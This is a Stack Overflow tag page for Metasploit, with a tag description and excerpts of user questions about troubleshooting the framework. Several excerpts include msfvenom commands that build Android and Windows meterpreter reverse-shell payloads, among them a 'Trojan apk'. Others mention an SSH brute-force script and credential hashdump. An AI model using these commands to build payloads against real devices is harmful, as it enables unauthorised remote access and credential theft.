Questions tagged [metasploit]

This tag is for questions about *programming* the Metasploit framework, not for using the framework or attacking a specific site.

The Metasploit Framework is an open-source project owned/sponsored by Rapid7 for vulnerability assessment, exploitation development, penetration testing, and many other computer and network security-related tasks.

Since version 3 of the Framework, Metasploit has been written primarily in Ruby. Version 2 and older were written in Perl. The various payloads, stagers, and shellcodes are primarily written in C, assembly, and Java.

Metasploit is developed on Github. Documentation and community forums are available on Rapid7's community site. Questions can also be asked in the #metasploit channel on Freenode.

If your question is about using Metasploit, rather than programming with it, then it should probably go on our sister site Information Security.

If your question is about attacking a specific system, such questions are off-topic on Stack Overflow. They are also off-topic on Information Security unless they demonstrate an understanding of the concepts involved and clearly identify a specific problem.

Also, any issues resulting from using such tools without permission from the target are your own risk; we do not endorse such actions in any way.

228 questions
0
votes
2 answers

when i try to make payload it is showing me

When I make a payload with this command in my termux app . /msfvenom -p android/meterpreter/reverse_tcp lhost=IP ADDRESS lport=3333 -o /sdcard/FILE NAME/test.apk Then it is showing me No platform was selected, choosing…
SIMPLE HACKER's
  • 41
  • 1
  • 3
  • 5
0
votes
1 answer

getting noMethodError while running exploit in metasploit

for my research I am using the following code in Metasploit: require 'msf/core' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Rex::Socket::Tcp include Msf::Auxiliary::Scanner def initialize(info…
MichelRK
  • 1
  • 1
  • 1
0
votes
0 answers

How to Bundle Dependencies with macOS Swift Application

I am working on creating a Swift app for macOS Sierra. I would like to include an installation of Metasploit framework with my app. Installing this to macOS puts files in a few directories like /opt/. How can I install bundle Metasploit with my app…
Jake3231
  • 703
  • 8
  • 22
0
votes
1 answer

Return value msfconsole

I am trying to script a brute-force ssh attack with msfconsole -x using a .sh and I need to check if the command has been successful or not so I need a return value. Looking at the docs I wasn't able to find any information about this…
0
votes
1 answer

msfvenom how to generate windows console executable

Regular msfvenom would generate a PE32 executable (GUI), does anyone know how to generate a PE32 executable (CONSOLE) binary? e.g. msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=port -f exe -o shellmet.exe would generate a PE32…
404
  • 53
  • 1
  • 6
0
votes
0 answers

Metepreter doesn't have root access on rooted phone

I am currently testing how msfvenom for android works with it's source code. Well the AVD device that i'm testing is rooted but the backdoor doesn't have the root access. Runtime.getRuntime().exec("su"); didn't worked. Does anyone knows why it…
DeveloperKurt
  • 758
  • 1
  • 7
  • 21
0
votes
1 answer

Ruby Undefined Method, Metasploit

I've been trying to get credentials hashes on a windows meterpreter session, but each time i run "run post/windows/gather/hashdump" i get the following error: Post failed: NoMethodError undefined method unpack' for nil:NilClass Call stack: …
Shedreth
  • 11
  • 3
0
votes
1 answer

Generating a payload with 'msfvenom' gives "Permission denied" on macOS

I am trying to create a metasploit payload using msfvenom with the following command: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=3333 -f exe -o /Users//Desktop > shell.exe But when that is executed I get:…
user8259536
  • 23
  • 2
  • 7
0
votes
1 answer

unable to exploit samba cry valnurability using metasploit

I am trying to exploit linux kernel vulnerability samba cry (CVE-2017-7494) for some research work using metasploit framework. But I get following error msf exploit(is_known_pipename) > run [*] Started reverse TCP handler on 192.168.78.136:4444 [*]…
user1743185
  • 21
  • 1
  • 3
0
votes
1 answer

I can't get new modules to load in metasploit

I have been trying to load a new module in MS. I followed the instructions and done a git clone [address of files]. I then copied the new files into /root/.msf4/modules/exploits/windows/smb and into…
Damian Moore
  • 1
  • 1
  • 1
0
votes
2 answers

How can I send commands to msfconsole from shell?

Hi guys i need a shell script that can open for example msfconsole and then type commands in it, i made a very basic script but of course it stops when msfconsole starts... can you give me some example? thanks! this is the basic dumb script i…
jamesk
  • 39
  • 6
0
votes
1 answer

Installing Metasoploit Framework on Mac OSX Sierra

I'm having trouble installing Metasploit Framework on my MacBook, that's my configuration: 1) OS macOS Sierra 10.12.5 2) downloading the package metasploitframework-latest.pkg from http://osx.metasploit.com 3) installing the pkg file without any…
0
votes
2 answers

Generate shellcode by using msfvenom

according to this video he used msfpayload & msfencode to genarate shellcode for cmd command. msfpayload windows/exec cmd=calc.exe R | msfencode -e x86/alpha_mixed -t c -v But now, metasploit team change msfpayload & msfencode to msfvenom, so I…
Trai Nguyen
  • 9
  • 1
  • 1
  • 2
0
votes
3 answers

metasploit: Malformed version number string when selecting dalvik as architecture

I’m trying to create a Trojan apk for android using metasploit, this is the command I’m using: msfvenom -a dalvik --platform android -p android/meterpreter/reverse_tcp LHOST=myIP LPORT=myPort -x /testDir/something.apk R -o…
Felicia Agatha
  • 359
  • 5
  • 11
0
votes
2 answers

Gem / Metasploit Install error: An error occurred while installing pg (0.18.4)

Keep getting the attached error when trying to install metasploit dependant gems on OS X EL Capitan. Have tried reinstalling postgres etc, not sure how to fix this is issue. An error occurred while installing pg (0.18.4), and Bundler cannot…
Kaznb21
  • 1
  • 3